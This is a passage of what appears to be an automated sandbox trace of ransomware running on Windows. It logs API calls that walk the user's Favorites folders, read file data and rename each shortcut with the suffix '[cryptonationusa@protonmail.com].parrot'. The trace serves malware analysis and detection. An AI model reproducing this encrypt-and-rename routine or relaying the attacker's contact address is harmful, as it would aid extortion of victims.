(lpString1=".", lpString2=".") returned 0 [0092.405] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.405] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.405] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.405] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.407] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.407] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.407] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xec, lpOverlapped=0x0) returned 1 [0092.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.408] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.408] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.413] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.413] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.414] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.414] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xe2, lpOverlapped=0x0) returned 1 [0092.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.414] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.417] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.465] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.465] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.469] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.469] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.470] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.470] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.471] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.471] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.471] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.474] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.474] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.475] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.475] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.475] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.476] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.478] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.478] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.479] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.479] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.480] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.480] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.482] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.482] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.483] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.483] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.484] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.484] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.498] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.499] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.499] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.500] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x86, lpOverlapped=0x0) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.500] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.500] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.503] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.503] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.505] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.505] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.505] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.506] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.506] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.507] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.507] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.510] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.510] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.511] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.511] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.511] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.511] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.515] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.515] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.515] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.516] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.516] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.516] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.519] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.520] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.520] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.520] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.521] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.521] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.523] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.524] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.524] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.525] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.525] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.525] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.528] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.528] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.529] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.529] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.530] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.530] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.532] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.533] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.534] lstrcmpW 